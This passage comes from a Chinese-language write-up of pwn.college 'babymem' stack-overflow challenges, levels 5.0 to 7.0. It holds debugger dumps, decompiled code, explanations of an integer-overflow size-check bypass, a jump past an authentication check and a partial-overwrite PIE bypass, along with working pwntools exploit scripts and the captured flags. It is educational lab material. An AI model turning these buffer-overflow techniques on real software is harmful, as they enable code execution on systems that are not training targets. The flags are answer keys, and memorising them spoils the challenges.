02:0010│-0a0     0x7ffd77ce34f0 —▸ 0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0&apos;
03:0018│-098     0x7ffd77ce34f8 ◂— 0x100000000
04:0020│-090     0x7ffd77ce3500 —▸ 0x7ffd77ce3520 ◂— 0
05:0028│-088     0x7ffd77ce3508 ◂— 0xffffffffffffffff
06:0030│ rax rsi 0x7ffd77ce3510 ◂— 0
07:0038│-078     0x7ffd77ce3518 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x40291c challenge+1342
   1         0x402b32 main+198
   2   0x796eb2aade08
   3   0x796eb2aadecc __libc_start_main+140
   4         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; c
Continuing.

Breakpoint 3, 0x0000000000402921 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  0xffffffffffffffff
 RBX  0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0&apos;
*RCX  0x796eb2b93c21 (read+17) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
*RDX  0xffffffffffffff88
 RDI  0
 RSI  0x7ffd77ce3510 ◂— 0
 R8   0x75
 R9   0xffffffec
 R10  0
*R11  0x246
 R12  1
 R13  0
 R14  0x796eb2ce0000 (_rtld_global) —▸ 0x796eb2ce12e0 ◂— 0
 R15  0
 RBP  0x7ffd77ce3590 —▸ 0x7ffd77ce45c0 —▸ 0x7ffd77ce4660 —▸ 0x7ffd77ce46c0 ◂— 0
 RSP  0x7ffd77ce34e0 ◂— 0xa /* &apos;\n&apos; */
*RIP  0x402921 (challenge+1347) ◂— mov dword ptr [rbp - 0x14], eax
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x40291c &amp;lt;challenge+1342&amp;gt;    call   read@plt                    &amp;lt;read@plt&amp;gt;

 ► 0x402921 &amp;lt;challenge+1347&amp;gt;    mov    dword ptr [rbp - 0x14], eax     [0x7ffd77ce357c] =&amp;gt; 0xffffffff
   0x402924 &amp;lt;challenge+1350&amp;gt;    cmp    dword ptr [rbp - 0x14], 0       0xffffffff - 0x0     EFLAGS =&amp;gt; 0x286 [ cf PF af zf SF IF df of ]
   0x402928 &amp;lt;challenge+1354&amp;gt;    jns    challenge+1400              &amp;lt;challenge+1400&amp;gt;

   0x40292a &amp;lt;challenge+1356&amp;gt;    call   __errno_location@plt        &amp;lt;__errno_location@plt&amp;gt;

   0x40292f &amp;lt;challenge+1361&amp;gt;    mov    eax, dword ptr [rax]
   0x402931 &amp;lt;challenge+1363&amp;gt;    mov    edi, eax
   0x402933 &amp;lt;challenge+1365&amp;gt;    call   strerror@plt                &amp;lt;strerror@plt&amp;gt;

   0x402938 &amp;lt;challenge+1370&amp;gt;    mov    rsi, rax
   0x40293b &amp;lt;challenge+1373&amp;gt;    lea    rdi, [rip + 0x147e]     RDI =&amp;gt; 0x403dc0 ◂— &apos;ERROR: Failed to read input -- %s!\n&apos;
   0x402942 &amp;lt;challenge+1380&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd77ce34e0 ◂— 0xa /* &apos;\n&apos; */
01:0008│-0a8 0x7ffd77ce34e8 —▸ 0x7ffd77ce46f8 —▸ 0x7ffd77ce55d8 ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-0a0 0x7ffd77ce34f0 —▸ 0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0&apos;
03:0018│-098 0x7ffd77ce34f8 ◂— 0x100000000
04:0020│-090 0x7ffd77ce3500 —▸ 0x7ffd77ce3520 ◂— 0
05:0028│-088 0x7ffd77ce3508 ◂— 0xffffffffffffffff
06:0030│ rsi 0x7ffd77ce3510 ◂— 0
07:0038│-078 0x7ffd77ce3518 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x402921 challenge+1347
   1         0x402b32 main+198
   2   0x796eb2aade08
   3   0x796eb2aadecc __libc_start_main+140
   4         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 &lt;code&gt;read&lt;/code&gt; 的定义，让我忍不住想吐槽这奇葩的设计：为了能够返回有符号数错误码，返回值类型被设置为 &lt;code&gt;ssize_t&lt;/code&gt;，但是可接收的最大输入值类型为 &lt;code&gt;size_t&lt;/code&gt;。显然 &lt;code&gt;ssize_t &amp;lt; size_t&lt;/code&gt;，也就是说我们提供的输入大小可能超出返回值（输入进去的数据的大小）的可承载范围，如果超出了就抛出 &lt;code&gt;-1&lt;/code&gt;。但又没有办法做到返回值类型和最大输入类型的匹配，如果返回值类型改成 &lt;code&gt;size_t&lt;/code&gt; 就会出现错误码和输入大小混淆的问题；如果最大输入大小类型改成 &lt;code&gt;ssize_t&lt;/code&gt; 又很不合理，因为我们显然不能输入大小为负的内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// attributes: thunk
ssize_t read(int fd, void *buf, size_t nbytes)
{
  return read(fd, buf, nbytes);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;言归正传，既然我们不能通过最方便的两个 &lt;code&gt;-1&lt;/code&gt; 解决问题，那么下面就思考一下整数溢出的其它特点。&lt;/p&gt;
&lt;p&gt;我们注意到在判断 &lt;code&gt;v8 * v9 &amp;gt; 0x62&lt;/code&gt; 的时候做的都是 32 bits 运算：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ► 0x40277d &amp;lt;challenge+927&amp;gt;    mov    edx, dword ptr [rbp - 0x88]     EDX, [0x7ffcfb641768] =&amp;gt; 0xffffffff
   0x402783 &amp;lt;challenge+933&amp;gt;    mov    eax, dword ptr [rbp - 0x84]     EAX, [0x7ffcfb64176c] =&amp;gt; 0xffffffff
   0x402789 &amp;lt;challenge+939&amp;gt;    imul   eax, edx
   0x40278c &amp;lt;challenge+942&amp;gt;    cmp    eax, 0x62                       0x1 - 0x62     EFLAGS =&amp;gt; 0x297 [ CF PF AF zf SF IF df of ]
   0x40278f &amp;lt;challenge+945&amp;gt;  ✔ jbe    challenge+978               &amp;lt;challenge+978&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个 &lt;code&gt;-1&lt;/code&gt; 行不通是因为它们相乘得到的无符号结果太大了，超出了 &lt;code&gt;ssize_t&lt;/code&gt; 的可容纳范围。那有没有两个数可以在绕过 &lt;code&gt;v8 * v9 &amp;gt; 0x62&lt;/code&gt; 且乘积的无符号表示大小不低于 144 的前提下又保证处于 &lt;code&gt;ssize_t&lt;/code&gt; 的范围呢？&lt;/p&gt;
&lt;p&gt;如果我们提供的输入是 &lt;code&gt;INT32_MAX&lt;/code&gt;，或者 &lt;code&gt;INT32_MIN&lt;/code&gt;，和 &lt;code&gt;2&lt;/code&gt;，或其它任何满足 &lt;code&gt;(v8 * v9) &amp;amp; 0xffffffff == 0x0&lt;/code&gt; 的一对数，就可以巧妙的绕过 &lt;code&gt;v8 * v9 &amp;gt; 0x62&lt;/code&gt; 的判断了！&lt;/p&gt;
&lt;p&gt;这用到了整数溢出的原理，&lt;code&gt;INT32_MAX * 2&lt;/code&gt; 或者 &lt;code&gt;INT32_MIN * 2&lt;/code&gt; 都会溢出到更高位，低位就变成 0 了。而我们在做判断的时候只使用了低 32 bits，不关心高位的情况，那么只要让低 32 bits 的大小小于等于 &lt;code&gt;0x62&lt;/code&gt; 即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-5-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+927
b *challenge+1326
b *challenge+1342
b *challenge+1347
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch(debug=False)

payload = b&quot;&quot;.ljust(136, b&quot;A&quot;) + p64(0x4022D7)

INT32_MAX = str((2**31)).encode()

target.recvuntil(b&quot;Number of payload records to send: &quot;)
target.sendline(INT32_MAX)
target.recvuntil(b&quot;Size of each payload record: &quot;)
target.sendline(b&quot;2&quot;)
target.sendline(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{AcH-0L9UpmOONC81mhni9OzJVhD.01N5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  unsigned int v3; // [rsp+28h] [rbp-98h] BYREF
  unsigned int v4; // [rsp+2Ch] [rbp-94h] BYREF
  _QWORD v5[14]; // [rsp+30h] [rbp-90h] BYREF
  int v6; // [rsp+A0h] [rbp-20h]
  __int16 v7; // [rsp+A4h] [rbp-1Ch]
  char v8; // [rsp+A6h] [rbp-1Ah]
  int v9; // [rsp+ACh] [rbp-14h]
  size_t nbytes; // [rsp+B0h] [rbp-10h]
  void *buf; // [rsp+B8h] [rbp-8h]

  memset(v5, 0, sizeof(v5));
  v6 = 0;
  v7 = 0;
  v8 = 0;
  buf = v5;
  nbytes = 0LL;
  printf(&quot;Number of payload records to send: &quot;);
  __isoc99_scanf(&quot;%u&quot;, &amp;amp;v4);
  if ( !v4 )
    __assert_fail(&quot;record_num &amp;gt; 0&quot;, &quot;/challenge/babymem-level-5-1.c&quot;, 0x49u, &quot;challenge&quot;);
  printf(&quot;Size of each payload record: &quot;);
  __isoc99_scanf(&quot;%u&quot;, &amp;amp;v3);
  if ( !v3 )
    __assert_fail(&quot;record_size &amp;gt; 0&quot;, &quot;/challenge/babymem-level-5-1.c&quot;, 0x4Cu, &quot;challenge&quot;);
  if ( v3 * v4 &amp;gt; 0x77 )
    __assert_fail(&quot;record_size * record_num &amp;lt;= 119&quot;, &quot;/challenge/babymem-level-5-1.c&quot;, 0x4Du, &quot;challenge&quot;);
  nbytes = v3 * (unsigned __int64)v4;
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v9 = read(0, buf, nbytes);
  if ( v9 &amp;lt; 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v1);
    exit(1);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不写了不写了，和上一题思路一样，自己去调试查 &lt;code&gt;win&lt;/code&gt; 地址和 padding 大小就好啦～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-5-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x98, b&quot;A&quot;) + p64(0x401A48)

INT32_MAX = str((2**31)).encode()

target.recvuntil(b&quot;Number of payload records to send: &quot;)
target.sendline(INT32_MAX)
target.recvuntil(b&quot;Size of each payload record: &quot;)
target.sendline(b&quot;2&quot;)
target.sendline(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{A2rdZkIDLVjvpTrAPvlwpllVi7m.0FO5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall win_authed(int a1)
{
  int *v1; // rax
  char *v2; // rax
  int *v3; // rax
  char *v4; // rax

  if ( a1 == 0x1337 )
  {
    puts(&quot;You win! Here is your flag:&quot;);
    flag_fd_5715 = open(&quot;/flag&quot;, 0);
    if ( flag_fd_5715 &amp;lt; 0 )
    {
      v1 = __errno_location();
      v2 = strerror(*v1);
      printf(&quot;\n  ERROR: Failed to open the flag -- %s!\n&quot;, v2);
      if ( geteuid() )
      {
        puts(&quot;  Your effective user id is not 0!&quot;);
        puts(&quot;  You must directly run the suid binary in order to have the correct permissions!&quot;);
      }
      exit(-1);
    }
    flag_length_5716 = read(flag_fd_5715, &amp;amp;flag_5714, 0x100uLL);
    if ( flag_length_5716 &amp;lt;= 0 )
    {
      v3 = __errno_location();
      v4 = strerror(*v3);
      printf(&quot;\n  ERROR: Failed to read the flag -- %s!\n&quot;, v4);
      exit(-1);
    }
    write(1, &amp;amp;flag_5714, flag_length_5716);
    puts(&quot;\n&quot;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思路是覆盖返回地址，返回到 &lt;code&gt;win_authed&lt;/code&gt;。但是由于 &lt;code&gt;win_authed&lt;/code&gt; 会先检查传入参数是否为 &lt;code&gt;0x1337&lt;/code&gt;，匹配才给 flag，所以我们光返回到 &lt;code&gt;win_authed&lt;/code&gt; 还不够。要么想办法传入参数 &lt;code&gt;0x1337&lt;/code&gt;，要么返回到 &lt;code&gt;if&lt;/code&gt; 判断之后的指令，直接跳过执行判断的部分。这里我们使用第二种方法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall win_authed(int a1)
{
  if ( a1 == 0x1337 ) { /* ... */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; disass win_authed
Dump of assembler code for function win_authed:
   0x0000000000401987 &amp;lt;+0&amp;gt;: endbr64
   0x000000000040198b &amp;lt;+4&amp;gt;: push   rbp
   0x000000000040198c &amp;lt;+5&amp;gt;: mov    rbp,rsp
   0x000000000040198f &amp;lt;+8&amp;gt;: sub    rsp,0x10
   0x0000000000401993 &amp;lt;+12&amp;gt;: mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401996 &amp;lt;+15&amp;gt;: cmp    DWORD PTR [rbp-0x4],0x1337
   0x000000000040199d &amp;lt;+22&amp;gt;: jne    0x401aa1 &amp;lt;win_authed+282&amp;gt;
   0x00000000004019a3 &amp;lt;+28&amp;gt;: lea    rdi,[rip+0x1746]        # 0x4030f0
   0x00000000004019aa &amp;lt;+35&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x00000000004019af &amp;lt;+40&amp;gt;: mov    esi,0x0
   0x00000000004019b4 &amp;lt;+45&amp;gt;: lea    rdi,[rip+0x1751]        # 0x40310c
   0x00000000004019bb &amp;lt;+52&amp;gt;: mov    eax,0x0
   0x00000000004019c0 &amp;lt;+57&amp;gt;: call   0x401170 &amp;lt;open@plt&amp;gt;
   0x00000000004019c5 &amp;lt;+62&amp;gt;: mov    DWORD PTR [rip+0x4675],eax        # 0x406040 &amp;lt;flag_fd.5715&amp;gt;
   0x00000000004019cb &amp;lt;+68&amp;gt;: mov    eax,DWORD PTR [rip+0x466f]        # 0x406040 &amp;lt;flag_fd.5715&amp;gt;
   0x00000000004019d1 &amp;lt;+74&amp;gt;: test   eax,eax
   0x00000000004019d3 &amp;lt;+76&amp;gt;: jns    0x401a22 &amp;lt;win_authed+155&amp;gt;
   0x00000000004019d5 &amp;lt;+78&amp;gt;: call   0x401100 &amp;lt;__errno_location@plt&amp;gt;
   0x00000000004019da &amp;lt;+83&amp;gt;: mov    eax,DWORD PTR [rax]
   0x00000000004019dc &amp;lt;+85&amp;gt;: mov    edi,eax
   0x00000000004019de &amp;lt;+87&amp;gt;: call   0x4011a0 &amp;lt;strerror@plt&amp;gt;
   0x00000000004019e3 &amp;lt;+92&amp;gt;: mov    rsi,rax
   0x00000000004019e6 &amp;lt;+95&amp;gt;: lea    rdi,[rip+0x172b]        # 0x403118
   0x00000000004019ed &amp;lt;+102&amp;gt;: mov    eax,0x0
   0x00000000004019f2 &amp;lt;+107&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x00000000004019f7 &amp;lt;+112&amp;gt;: call   0x401140 &amp;lt;geteuid@plt&amp;gt;
   0x00000000004019fc &amp;lt;+117&amp;gt;: test   eax,eax
   0x00000000004019fe &amp;lt;+119&amp;gt;: je     0x401a18 &amp;lt;win_authed+145&amp;gt;
   0x0000000000401a00 &amp;lt;+121&amp;gt;: lea    rdi,[rip+0x1741]        # 0x403148
   0x0000000000401a07 &amp;lt;+128&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x0000000000401a0c &amp;lt;+133&amp;gt;: lea    rdi,[rip+0x175d]        # 0x403170
   0x0000000000401a13 &amp;lt;+140&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x0000000000401a18 &amp;lt;+145&amp;gt;: mov    edi,0xffffffff
   0x0000000000401a1d &amp;lt;+150&amp;gt;: call   0x401190 &amp;lt;exit@plt&amp;gt;
   0x0000000000401a22 &amp;lt;+155&amp;gt;: mov    eax,DWORD PTR [rip+0x4618]        # 0x406040 &amp;lt;flag_fd.5715&amp;gt;
   0x0000000000401a28 &amp;lt;+161&amp;gt;: mov    edx,0x100
   0x0000000000401a2d &amp;lt;+166&amp;gt;: lea    rsi,[rip+0x462c]        # 0x406060 &amp;lt;flag.5714&amp;gt;
   0x0000000000401a34 &amp;lt;+173&amp;gt;: mov    edi,eax
   0x0000000000401a36 &amp;lt;+175&amp;gt;: call   0x401150 &amp;lt;read@plt&amp;gt;
   0x0000000000401a3b &amp;lt;+180&amp;gt;: mov    DWORD PTR [rip+0x471f],eax        # 0x406160 &amp;lt;flag_length.5716&amp;gt;
   0x0000000000401a41 &amp;lt;+186&amp;gt;: mov    eax,DWORD PTR [rip+0x4719]        # 0x406160 &amp;lt;flag_length.5716&amp;gt;
   0x0000000000401a47 &amp;lt;+192&amp;gt;: test   eax,eax
   0x0000000000401a49 &amp;lt;+194&amp;gt;: jg     0x401a77 &amp;lt;win_authed+240&amp;gt;
   0x0000000000401a4b &amp;lt;+196&amp;gt;: call   0x401100 &amp;lt;__errno_location@plt&amp;gt;
   0x0000000000401a50 &amp;lt;+201&amp;gt;: mov    eax,DWORD PTR [rax]
   0x0000000000401a52 &amp;lt;+203&amp;gt;: mov    edi,eax
   0x0000000000401a54 &amp;lt;+205&amp;gt;: call   0x4011a0 &amp;lt;strerror@plt&amp;gt;
   0x0000000000401a59 &amp;lt;+210&amp;gt;: mov    rsi,rax
   0x0000000000401a5c &amp;lt;+213&amp;gt;: lea    rdi,[rip+0x1765]        # 0x4031c8
   0x0000000000401a63 &amp;lt;+220&amp;gt;: mov    eax,0x0
   0x0000000000401a68 &amp;lt;+225&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x0000000000401a6d &amp;lt;+230&amp;gt;: mov    edi,0xffffffff
   0x0000000000401a72 &amp;lt;+235&amp;gt;: call   0x401190 &amp;lt;exit@plt&amp;gt;
   0x0000000000401a77 &amp;lt;+240&amp;gt;: mov    eax,DWORD PTR [rip+0x46e3]        # 0x406160 &amp;lt;flag_length.5716&amp;gt;
   0x0000000000401a7d &amp;lt;+246&amp;gt;: cdqe
   0x0000000000401a7f &amp;lt;+248&amp;gt;: mov    rdx,rax
   0x0000000000401a82 &amp;lt;+251&amp;gt;: lea    rsi,[rip+0x45d7]        # 0x406060 &amp;lt;flag.5714&amp;gt;
   0x0000000000401a89 &amp;lt;+258&amp;gt;: mov    edi,0x1
   0x0000000000401a8e &amp;lt;+263&amp;gt;: call   0x401120 &amp;lt;write@plt&amp;gt;
   0x0000000000401a93 &amp;lt;+268&amp;gt;: lea    rdi,[rip+0x1758]        # 0x4031f2
   0x0000000000401a9a &amp;lt;+275&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x0000000000401a9f &amp;lt;+280&amp;gt;: jmp    0x401aa2 &amp;lt;win_authed+283&amp;gt;
   0x0000000000401aa1 &amp;lt;+282&amp;gt;: nop
   0x0000000000401aa2 &amp;lt;+283&amp;gt;: leave
   0x0000000000401aa3 &amp;lt;+284&amp;gt;: ret
End of assembler dump.
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-6-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x58, b&quot;A&quot;) + p64(0x4019A3)
payload_size = str(len(payload)).encode()

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(payload_size)
target.recvuntil(&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{AusQ-DCHaivq4M4Tj9IZIsDv7m8.0VO5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上一题一样，只是需要计算一下 padding 大小和看一下返回到哪里，这里就不多赘述了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-6-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x88, b&quot;A&quot;) + p64(0x401DB0)
payload_size = str(len(payload)).encode()

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(payload_size)
target.recvuntil(&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Mlgp6gl7Ogp1vkjstLEXXOSldEM.0FMwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time in a position independent (PIE) binary!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题和前两题差不多，都是计算 padding 和覆盖返回地址，唯一的区别在于它启用了 PIE 保护，导致我们无法知道确切的返回地址。这里我们通过 &lt;code&gt;Partial Write&lt;/code&gt; 的方式绕过 PIE。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Partial Write&lt;/code&gt; 利用了操作系统加载程序时总是将程序加载到随机的内存页，通常内存页是 &lt;code&gt;0x1000&lt;/code&gt; 字节，4 KB 对齐的，也就是说程序内部指令的偏移量都不可能超出这个范围，不够就分配到下一个内存页，比如 &lt;code&gt;0x2000&lt;/code&gt;。所以开启了 PIE 的程序，尽管每次运行都被分配到不同的内存页，但它们在内存页中的偏移地址，也就是最后 3 nibbles 始终是相同的。利用这一点，我们只需要覆盖这最后 3 nibbles 即可达到控制返回地址的效果。&lt;/p&gt;
&lt;p&gt;但由于我们没办法写入半个字节，所以我们需要猜一个 nibble，范围是 &lt;code&gt;[0x0, 0xf]&lt;/code&gt;。将它和固定的 3 nibbles 组合输入到程序，如果地址匹配就成功跳转了。&lt;/p&gt;
&lt;p&gt;下面看看开启 PIE 后的效果（每次运行都会随机分配基地址，但最后 3 nibbles 偏移地址始终是固定的）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Run 1:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; piebase
Calculated VA from /home/cub3y0nd/Projects/pwn.college/babymem-level-7-0 = 0x6123056c8000
pwndbg&amp;gt; i fun main
All functions matching regular expression &quot;main&quot;:

Non-debugging symbols:
0x00006123056ca3c3  main
0x00007149f9ca4e40  __libc_start_main
0x00007149f9cb4b70  bindtextdomain
0x00007149f9cb4bb0  bind_textdomain_codeset
0x00007149f9cb86b0  textdomain
0x00007149f9d026c0  _IO_switch_to_main_wget_area
0x00007149f9d8e0b0  getdomainname
0x00007149f9d95d00  setdomainname
0x00007149f9da4b90  __getdomainname_chk
0x00007149f9db6940  __res_nquerydomain
0x00007149f9db6940  res_nquerydomain
0x00007149f9db69f0  __res_querydomain
0x00007149f9db69f0  res_querydomain
pwndbg&amp;gt; i fun challenge
All functions matching regular expression &quot;challenge&quot;:

Non-debugging symbols:
0x00006123056c9d0b  challenge
pwndbg&amp;gt; i fun win_authed
All functions matching regular expression &quot;win_authed&quot;:

Non-debugging symbols:
0x00006123056c9bee  win_authed
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Run 2:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; piebase
Calculated VA from /home/cub3y0nd/Projects/pwn.college/babymem-level-7-0 = 0x622fffad3000
pwndbg&amp;gt; i fun main
All functions matching regular expression &quot;main&quot;:

Non-debugging symbols:
0x0000622fffad53c3  main
0x0000781a2c3f4e40  __libc_start_main
0x0000781a2c404b70  bindtextdomain
0x0000781a2c404bb0  bind_textdomain_codeset
0x0000781a2c4086b0  textdomain
0x0000781a2c4526c0  _IO_switch_to_main_wget_area
0x0000781a2c4de0b0  getdomainname
0x0000781a2c4e5d00  setdomainname
0x0000781a2c4f4b90  __getdomainname_chk
0x0000781a2c506940  __res_nquerydomain
0x0000781a2c506940  res_nquerydomain
0x0000781a2c5069f0  __res_querydomain
0x0000781a2c5069f0  res_querydomain
pwndbg&amp;gt; i fun challenge
All functions matching regular expression &quot;challenge&quot;:

Non-debugging symbols:
0x0000622fffad4d0b  challenge
pwndbg&amp;gt; i fun win_authed
All functions matching regular expression &quot;win_authed&quot;:

Non-debugging symbols:
0x0000622fffad4bee  win_authed
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-7-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
